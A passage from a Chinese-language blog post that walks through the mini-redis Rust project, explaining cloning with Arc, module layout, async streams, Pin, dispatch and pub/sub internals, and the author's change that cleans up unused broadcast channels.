Handler，这样启动一个异步的任务。<br>这是个非常常用的程序设计思路，把一个任务的启动和关闭，都封装在一个结构体里，这样可以方便的控制任务的生命周期。<br>而且也方便在另外一个线程里启动这个任务。</p><p>这里通过封装 TcpListener 自定义了 accept，实现了指数退避策略，如果 accept 失败，就等待一段时间再尝试，这样可以减少系统调用，提高性能。<br>一般 accept 失败都是系统内部错误。</p><p>这里就涉及到克隆的规则了，因为我们希望每个连接都共享数据库实例。rust的clone 分成了深拷贝和浅拷贝，shallow clone 会增加引用计数，deep clone 会复制整个对象。这里我们需要的是浅拷贝，所以使用 Arc 来包装数据库实例。</p><blockquote><p>对于结构体这种复合类型，其克隆行为遵循以下规则：</p><ol><li><strong>默认派生的Clone实现</strong> (<code>#[derive(Clone)]</code>)：会递归地克隆结构体中的每个字段，每个字段的克隆行为取决于该字段类型自己的Clone实现，最终结果是结构体中所有字段都被克隆。</li><li><strong>手动实现的Clone</strong>：可以自定义任何克隆行为，可以选择性地克隆某些字段或使用不同的克隆策略</li></ol><p>📌 例1：所有字段进行深克隆的结构体</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[derive(Clone)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">    name: <span class="type">String</span>,</span><br><span class="line">    age: <span class="type">u32</span>,</span><br><span class="line">    hobbies: <span class="type">Vec</span>&lt;<span class="type">String</span>&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">person1</span> = Person &#123;</span><br><span class="line">        name: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Alice&quot;</span>),</span><br><span class="line">        age: <span class="number">30</span>,</span><br><span class="line">        hobbies: <span class="built_in">vec!</span>[<span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Reading&quot;</span>), <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Hiking&quot;</span>)],</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">person2</span> = person1.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里<code>Person</code>的克隆会创建一个完全独立的副本，因为所有字段(<code>String</code>、<code>u32</code>、<code>Vec&lt;String&gt;</code>)都实现了深克隆。</p><p>📌 例2：包含引用计数的结构体（混合克隆行为）</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">use</span> std::sync::Arc;</span><br><span class="line"></span><br><span class="line"><span class="meta">#[derive(Clone)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Document</span> &#123;</span><br><span class="line">    title: <span class="type">String</span>,                <span class="comment">// 深克隆</span></span><br><span class="line">    content: <span class="type">String</span>,              <span class="comment">// 深克隆</span></span><br><span class="line">    shared_metadata: Arc&lt;Metadata&gt;, <span class="comment">// 浅克隆（只增加引用计数）</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#[derive(Clone)]</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Metadata</span> &#123;</span><br><span class="line">    author: <span class="type">String</span>,</span><br><span class="line">    created_at: <span class="type">u64</span>,</span><br><span class="line">    tags: <span class="type">Vec</span>&lt;<span class="type">String</span>&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">metadata</span> = Arc::<span class="title function_ invoke__">new</span>(Metadata &#123;</span><br><span class="line">        author: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Bob&quot;</span>),</span><br><span class="line">        created_at: <span class="number">1616161616</span>,</span><br><span class="line">        tags: <span class="built_in">vec!</span>[<span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;important&quot;</span>)],</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">doc1</span> = Document &#123;</span><br><span class="line">        title: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Report&quot;</span>),</span><br><span class="line">        content: <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;Some content...&quot;</span>),</span><br><span class="line">        shared_metadata: metadata,</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">doc2</span> = doc1.<span class="title function_ invoke__">clone</span>();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// doc2的title和content是深克隆的独立副本</span></span><br><span class="line">    <span class="comment">// 但doc1和doc2共享同一个metadata (Arc&lt;Metadata&gt;)</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里<code>Document</code>的克隆是混合行为：</p><ul><li><code>title</code>和<code>content</code>字段是深克隆（完整副本）</li><li><code>shared_metadata</code>字段是浅克隆（引用计数增加）</li></ul></blockquote><p>每个 Handler 里除了必要的资源，还有退出信号、每个连接的信号。只有当所有连接的信号都关闭，服务器才会退出。<br>当每个连接收到退出信号，就会开始关闭连接，也就是 Handler 任务。</p><p>任务的主要内容就是读取 Frame，一定会停留到收到一个完整的 Frame，才进行下一步。<br>如果出现异常，就会 Err，如果客户端政策终止连接返回None。<br>接着 Frame 会被<strong>解析</strong>成命令，然后<strong>执行</strong>，执行的结果会被序列化成 Frame，然后写入到连接里。</p><p>这里用 enum 来表示命令，然后用 match 来处理，这是 Rust 的模式匹配，很好的实践，能选择不同的成员，这样各自单独实现同名的命令，这就类似接口了。</p><p>另外每个命令有不同的 Frame 组装形式和返回值形式。</p><blockquote><p>这里就涉及到 rust 的模块组织了，</p><ol><li>一个模块就是一个文件，文件名就是模块名，文件里的内容就是模块的内容。</li><li>一个模块可以包含多个结构体、枚举、函数等。</li><li>一个文件里可以包含多个模块，这些模块可以是私有的，也可以是公有的。跨文件实际上就是隐含的把文件名当作模块名，然后在其他文件里引用。目录也是同理，目录名就是模块名。</li></ol><p>模块组织有 <code>mod.rs</code> 和 与目录同名的rs文件两种做法，Rust 2018推荐之后推荐后者，但是实际上两者差别不大，只是文件命名位置不同而已。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">src/</span><br><span class="line">├── main.rs</span><br><span class="line">└── models/</span><br><span class="line">    ├── mod.rs</span><br><span class="line">    ├── user.rs</span><br><span class="line">    └── product.rs</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">src/</span><br><span class="line">├── main.rs</span><br><span class="line">├── models.rs</span><br><span class="line">└── models/</span><br><span class="line">    ├── user.rs</span><br><span class="line">    └── product.rs</span><br></pre></td></tr></table></figure><p>区别只是，<code>mod.rs</code> 挪动到了同级目录的与目录同名的rs文件里，你不用动里面的内容，rust会自动的去目录中找对应文件。</p><p>🔥 Rust 导入还有技巧，可以先导入，在设置Pub哪些。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">mod</span> get;</span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">use</span> get::Get;</span><br><span class="line"></span><br><span class="line"><span class="keyword">mod</span> publish;</span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">use</span> publish::Publish;</span><br></pre></td></tr></table></figure></blockquote><h3 id="客户端模块">客户端模块</h3><p>Connection 是最基本的，包括 TCPStream 和 Buffer。接着用户命令行输入组装成对应命令，命令再序列化成 Frame，然后写入到 Connection 里。<br>接着阻塞，等待服务器返回 frame。但是要注意超时，这里是如果发送成功后，没有考虑对方超时。我们注释掉返回写入的逻辑，会发现客户端卡住了。后面我们自己来修改。</p><p>Ping-&gt;Pong， 都是简单的字符串，所以直接返回即可。<br>Get-&gt;Value，发送的是 bulk 数组，返回Simple、Bulk、Null都有可能。<br>Set-&gt;OK，返回的是 Simple。</p><p>订阅会麻烦一些，字符串列表表示要订阅的多个频道。<br>服务端首先要记录客户端订阅了哪些 channel，并且为每个 channel 创建一个 stream。stream 是等待后续消息的流，消息通道，这个通道是rx，接收信息。而服务端会在状态数据里记录对应的tx，等待有其他客户端Publish消息到对应channel，然后广播给rx。</p><p>这个实现有个好处，rx 是从状态数据库来的，每个客户端都持有对应的部分，那么就可以做到状态数据库向tx发送消息，然后所有的客户端都能收到消息。这就是广播机制。</p><p>这个 rx 的类型很有意思，loop 与 yield 一起用，这就是生成器，但是加上 <code>async_stream::stream!</code> 就是异步的生成器，这个是通过 async-stream 包提供的，可以实现异步的流。不过同步代码不会用 yield，而是实现一个 Iterator 的 next 方法。所以这个语法几乎是创建异步流的标准写法。<br>每次收到消息，就 yield 出去，然后等待下一次消息，退出就返回 None，这和 stream 完全相同。那么持有这个 loop 的变量，就可以实现 stream 的功能。<br>而 <code>try_stream!</code> 是 async_stream 提供的另一个重要宏，它与 stream! 类似，但专门用于处理可能出错的场景。它返回的流中的元素类型是 Result&lt;T, E&gt;，并且在宏内部可以使用 ? 操作符进行错误传播。这对于像网络操作、IO 读写等可能失败的异步操作特别有用。<br>当我们使用 try_stream! 时，内部的错误会被自动包装成 Result 类型并向上传播。例如：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">rx</span> = db.<span class="title function_ invoke__">subscribe</span>(channel_name.<span class="title function_ invoke__">clone</span>());</span><br><span class="line"></span><br><span class="line"><span class="comment">// Subscribe to the channel.</span></span><br><span class="line"><span class="keyword">let</span> <span class="variable">rx</span> = <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(async_stream::stream! &#123;</span><br><span class="line">    <span class="keyword">loop</span> &#123;</span><br><span class="line">        <span class="keyword">match</span> rx.<span class="title function_ invoke__">recv</span>().<span class="keyword">await</span> &#123;</span><br><span class="line">            <span class="title function_ invoke__">Ok</span>(msg) =&gt; <span class="keyword">yield</span> msg,</span><br><span class="line">            ...</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="comment">// Track subscription in this client&#x27;s subscription set.</span></span><br><span class="line">subscriptions.<span class="title function_ invoke__">insert</span>(channel_name.<span class="title function_ invoke__">clone</span>(), rx); <span class="comment">//  &amp;mut StreamMap&lt;String, Messages&gt;</span></span><br></pre></td></tr></table></figure><p>在底层实现上，async_stream 通过巧妙的方式解决了异步状态管理的问题。它使用线程本地存储来保存状态，避免了手动实现 Stream 特性时需要使用 unsafe 代码处理自引用结构的复杂性。这使得开发者可以用看起来像同步代码的方式（使用 <code>async/await</code> 和 yield）来编写异步流，而不必关心底层的异步状态机实现细节。</p><p>还有个有意思的地方，就是 stream 的类型 <code>Box::pin(...)</code>，这创建一个堆分配的 <code>stream</code>，这是因为 <code>async_stream::stream!</code> 创建的 stream 类型和大小是不确定的，编译时才产生的。</p><p>这样封装一层Box，就可以当作一个固定大小的类型来使用了。记住，<strong>Rust 是强类型语言，每个变量都有固定的类型和大小，无法确定大小的类型一定是在堆上，而且用栈上的指针引用</strong>，这样才能保证内存安全。</p><p>这里的 pin 也是有学问的，异步本质上是创建了一个 Future，表示还没有完成的计算，是一个特殊 trait。在编译的时候，每个异步任务转换成状态机，每个状态就是异步任务的一个等待点。这个状态机可能包括对数据的引用，当这个 Future 被调度到其他线程，内存位置就可能变化，导致引用失效。所以需要 pin 保证内存位置不变，这样就可以安全的在多线程之间传递 Future。</p><p>Box::pin 是标准库提供的方法，用于创建堆分配的、被钉住的值。tokio::pin! 是 tokio 提供的宏，用于在栈上钉住值。最重要的区别在于tokio::pin! 分配在栈上，更高效，无需堆分配，但是生命周期受限于当前作用域，无法跨函数边界传递。</p><p>什么时候需要Pin呢，最常见的就是 stream，因为 stream 本身就是为了等待异步任务的结果，所以它本身就是一个Future。</p><p>还有就是自引用的结构，比如</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">SelfReferential</span> &#123;</span><br><span class="line">    data: <span class="type">String</span>,</span><br><span class="line">    <span class="comment">// This would normally be unsafe without Pin</span></span><br><span class="line">    reference: *<span class="keyword">const</span> <span class="type">String</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面函数的返回值类型也是 rust 的重要知识点。 前面的 rx 推理出的的类型是 <code>Pin&lt;Box&lt;AsyncStream&lt;Bytes, impl Future&lt;Output = ()&gt;&gt;&gt;&gt;</code>，实际定义的类型是 <code>Pin&lt;Box&lt;dyn Stream&lt;Item = Bytes&gt; + Send&gt;&gt;</code>，下面函数返回的类型是 <code>impl Stream&lt;Item = crate::Result&lt;Message&gt;&gt;</code>，我们发现了不用的写法 <code>&lt;Box&lt;dyn _&gt;&gt;</code> 和 <code>impl _</code>，这里就是动态分发和静态分发的区别，动态分发是在运行时确定类型，可以返回不同的具体类型实现（多态），有轻微的性能开销，用Box实现返回值类型大小固定（就是一个指针大小）。而静态分发是在编译时确定类型，只能返回单一具体类型，性能更好。<code>into_stream</code> 用静态分发的原因是它专门处理固定的 Message 类型。而前面动态分发是因为需要处理多种可能的 Stream 实现，而这些实现在编译时可能并不确定。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">into_stream</span>(<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="keyword">impl</span> <span class="title class_">Stream</span>&lt;Item = crate::<span class="type">Result</span>&lt;Message&gt;&gt; &#123;</span><br><span class="line">    try_stream! &#123;</span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Some</span>(message) = <span class="keyword">self</span>.<span class="title function_ invoke__">next_message</span>().<span class="keyword">await</span>? &#123;</span><br><span class="line">            <span class="keyword">yield</span> message;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>客户端的虽有订阅的rx都存储在 <code>subscriptions = StreamMap::new();</code> 里了，就是前面提到的 str-&gt;rx 的映射。他的好处是，任何一个rx收到消息，subscriptions.next() 就会返回这个消息，不用自己手动的写个 select 来等待多个rx。</p><p>另外用户可能再次订阅更多的频道，那么服务端继续增加 channels，然后触发增加 rx。</p><p>如果用户要取消订阅，那么服务端就要删除对应的 rx，这里有个问题，就是 rx 是异步的，可能正在等待消息，这时候删除了，就会导致 rx 无法接收到消息，这里我们直接中断rx，这是符合预期的，因为用户取消订阅，就不应该再接收到消息了。</p><p>我们来看 publish 的实现，是怎么发送给 channel 对应的 tx 的。这个操作就相当简单了，因为只管发布就可以了。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">subscribe_to_channel</span>(</span><br><span class="line">    channel_name: <span class="type">String</span>,</span><br><span class="line">    subscriptions: &amp;<span class="keyword">mut</span> StreamMap&lt;<span class="type">String</span>, Messages&gt;,</span><br><span class="line">    db: &amp;Db,</span><br><span class="line">    dst: &amp;<span class="keyword">mut</span> Connection,</span><br><span class="line">) <span class="punctuation">-&gt;</span> crate::<span class="type">Result</span>&lt;()&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">rx</span> = db.<span class="title function_ invoke__">subscribe</span>(channel_name.<span class="title function_ invoke__">clone</span>());</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Subscribe to the channel.</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">rx</span> = <span class="type">Box</span>::<span class="title function_ invoke__">pin</span>(async_stream::stream! &#123;</span><br><span class="line">        <span class="keyword">loop</span> &#123;</span><br><span class="line">            <span class="keyword">match</span> rx.<span class="title function_ invoke__">recv</span>().<span class="keyword">await</span> &#123;</span><br><span class="line">                <span class="title function_ invoke__">Ok</span>(msg) =&gt; <span class="keyword">yield</span> msg,</span><br><span class="line">                <span class="comment">// If we lagged in consuming messages, just resume.</span></span><br><span class="line">                <span class="title function_ invoke__">Err</span>(broadcast::error::RecvError::<span class="title function_ invoke__">Lagged</span>(_)) =&gt; &#123;&#125;,</span><br><span class="line">                <span class="title function_ invoke__">Err</span>(_) =&gt; <span class="keyword">break</span>,</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Track subscription in this client&#x27;s subscription set.</span></span><br><span class="line">    subscriptions.<span class="title function_ invoke__">insert</span>(channel_name.<span class="title function_ invoke__">clone</span>(), rx);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Respond with the successful subscription</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">response</span> = <span class="title function_ invoke__">make_subscribe_frame</span>(channel_name, subscriptions.<span class="title function_ invoke__">len</span>());</span><br><span class="line">    dst.<span class="title function_ invoke__">write_frame</span>(&amp;response).<span class="keyword">await</span>?;</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="改进">改进</h2><blockquote><p>改动见： <a href="https://github.com/learnerLj/mini-redis/commit/dd18c65b17347e1986efc2df30f9d9f73f595086">https://github.com/learnerLj/mini-redis/commit/dd18c65b17347e1986efc2df30f9d9f73f595086</a></p></blockquote><p>接下来我打算在这个项目的基础上进行一些扩展。这里有个关键，就是不会清理掉过期的 broadcast::Sender。为了解决这个问题，我们首先考虑 Sender 是否知晓自己有rx呢？这个是不可能的，因为没有直接的方法来检测，只能发送消息去尝试。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pub_sub: HashMap&lt;<span class="type">String</span>, broadcast::Sender&lt;Bytes&gt;&gt;,</span><br></pre></td></tr></table></figure><p>那我我们增加这么个机制。下面2个条件都会清理掉对应的 Sender。</p><ol><li><p>通过 TCP 连接的状态来管理订阅的有效性。如果客户端断开连接，服务器会自动检测到并清理相应的资源。注意心跳机制没有作用，这里是TCP连接，一般心跳机制是用于UDP，检验某些记录是否还有效。</p></li><li><p>Sender增加一个字段，是rx的计数。对应掉线或者主动取消订阅，都会减少计数，如果没有对应的 rx，就清理掉对应的 Sender。这个是为了防止客户端取消订阅，但是服务端没有收到消息，导致的内存泄漏。</p></li></ol><p>具体说，订阅时，要更新对应字段。重复订阅已经存在的 channel，也要刷新活跃时间。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">Entry::<span class="title function_ invoke__">Occupied</span>(e) =&gt;</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">channel_state</span> = e.<span class="title function_ invoke__">into_mut</span>();</span><br><span class="line">        channel_state.receiver_count += <span class="number">1</span>;</span><br><span class="line">        channel_state.last_activity = Instant::<span class="title function_ invoke__">now</span>();</span><br><span class="line">        channel_state.sender.<span class="title function_ invoke__">subscribe</span>()</span><br><span class="line"></span><br><span class="line">    &#125;,</span><br><span class="line">    Entry::<span class="title function_ invoke__">Vacant</span>(e) =&gt; &#123;</span><br><span class="line">        <span class="comment">// No broadcast channel exists yet, so create one.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// The channel is created with a capacity of `1024` messages. A</span></span><br><span class="line">        <span class="comment">// message is stored in the channel until **all** subscribers</span></span><br><span class="line">        <span class="comment">// have seen it. This means that a slow subscriber could result</span></span><br><span class="line">        <span class="comment">// in messages being held indefinitely.</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// When the channel&#x27;s capacity fills up, publishing will result</span></span><br><span class="line">        <span class="comment">// in old messages being dropped. This prevents slow consumers</span></span><br><span class="line">        <span class="comment">// from blocking the entire system.</span></span><br><span class="line">        <span class="keyword">let</span> (tx, rx) = broadcast::<span class="title function_ invoke__">channel</span>(<span class="number">1024</span>);</span><br><span class="line">        <span class="keyword">let</span> <span class="variable">channel_state</span> = ChannelState &#123;</span><br><span class="line">            sender: tx,</span><br><span class="line">            receiver_count: <span class="number">1</span>,</span><br><span class="line">            last_activity: Instant::<span class="title function_ invoke__">now</span>(),</span><br><span class="line">        &#125;;</span><br><span class="line">        e.<span class="title function_ invoke__">insert</span>(channel_state);</span><br><span class="line">        rx</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>取消订阅的时候是类似的，但是由于之前 db 模块没有这部份逻辑，我们需要从 unsubscribe 命令，一直改到 db。之前只是从 subscriptions 里删除这个 channel-&gt;stream 映射，这样subscriptions.next() 就不会从删除了的rx返回数据了。但是这次我们要db里也改。</p><p>这里有个有趣的点，参数db 没有mut，但是实际订阅是修改了 db的状态的，这是否矛盾了呢？没有，因为 Mutex 是Refcell的多线程版本，也就是也实现了内部可变行。Db 结构体包含一个 Arc<Shared>，而 Shared 结构体包含一个 Mutex<State>。<code>let mut state = self.shared.state.lock().unwrap();</code> 就自动的变成可变的了。这里就是很好的例子，我们的Db不想从头到尾都是可变参数传进去，到了 state 字段就可变了。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">subscribe_to_channel</span>(</span><br><span class="line">    channel_name: <span class="type">String</span>,</span><br><span class="line">    subscriptions: &amp;<span class="keyword">mut</span> StreamMap&lt;<span class="type">String</span>, Messages&gt;,</span><br><span class="line">    db: &amp;Db,</span><br><span class="line">    dst: &amp;<span class="keyword">mut</span> Connection,</span><br><span class="line">) <span class="punctuation">-&gt;</span> crate::<span class="type">Result</span>&lt;()&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">rx</span> = db.<span class="title function_ invoke__">subscribe</span>(channel_name.<span class="title function_ invoke__">clone</span>());</span><br></pre></td></tr></table></figure><p>db 增加一个实现，当所有订阅被取消了，就要删除这个订阅。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">fn</span> <span class="title function_">unsubscribe</span>(&amp;<span class="keyword">self</span>, key: &amp;<span class="type">str</span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">state</span> = <span class="keyword">self</span>.shared.state.<span class="title function_ invoke__">lock</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(channel_state) = state.pub_sub.<span class="title function_ invoke__">get_mut</span>(key) &#123;</span><br><span class="line">            channel_state.receiver_count -= <span class="number">1</span>;</span><br><span class="line">            channel_state.last_activity = Instant::<span class="title function_ invoke__">now</span>();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> channel_state.receiver_count == <span class="number">0</span> &#123;</span><br><span class="line">                state.pub_sub.<span class="title function_ invoke__">remove</span>(key);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>但是也可能存在一些客户端，已经掉线了，但是订阅还存在，那需要在掉线的时候，增加取消订阅的逻辑。中断时 <code>dst.read_frame()</code> 会返回 none，那么所有订阅都应该删除，通知server对应计数改变。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">res = dst.<span class="title function_ invoke__">read_frame</span>() =&gt; &#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">frame</span> = <span class="keyword">match</span> res? &#123;</span><br><span class="line">        <span class="title function_ invoke__">Some</span>(frame) =&gt; frame,</span><br><span class="line">        <span class="comment">// This happens if the remote client has disconnected.</span></span><br><span class="line">        <span class="literal">None</span> =&gt; &#123;</span><br><span class="line">            subscriptions.<span class="title function_ invoke__">keys</span>().for_each(|channel_name| &#123;</span><br><span class="line">                db.<span class="title function_ invoke__">unsubscribe</span>(channel_name);</span><br><span class="line">            &#125;);</span><br><span class="line">            <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br></pre></td></tr></table></figure><p>为了验证我们的订阅管理是否真的起效，我们增加 debug trace。接着把 <code>mod.rs</code> 的模式，我们改成现代的模式。</p><h2 id="学习项目结构">学习项目结构</h2><p>还有项目的布局，我们发现 example 文件夹下，也能导入本地的 mini_redis，这说明寻找依赖库时，Cargo 首先会读取项目根目录下的 Cargo.toml 文件，它会检查 [package] 部分的 name 字段，这定义了项目/库的名称。当在代码中使用 use mini_redis 这样的导入语句时，Cargo 会首先检查这个名称是否与当前项目名称匹配<br>如果匹配，它会优先使用当前项目的库代码，如果不匹配，才会去查找外部依赖。</p><p>我们还发现了运行命令 <code>cargo run --example sub</code> 结构特殊，这是运行一级目录下的 sub模块，如果是sub.rs单个文件，就是里面的main函数。如果是一个文件夹，那么就是运行整个模块，一般入口 <code>example/sub/main.rs</code>。</p><p>这里的项目层级，只要你在项目目录内，就不会受到当前路径的影响，你可以在项目的任何地方运行，会自动寻找。但是 Rust 对于大型项目，有一个&quot;工作空间&quot;(Workspace)，那么你就需要指定项目了。在 workspace 根目录运行：需要指定包 cargo run --package project-a --example sub</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 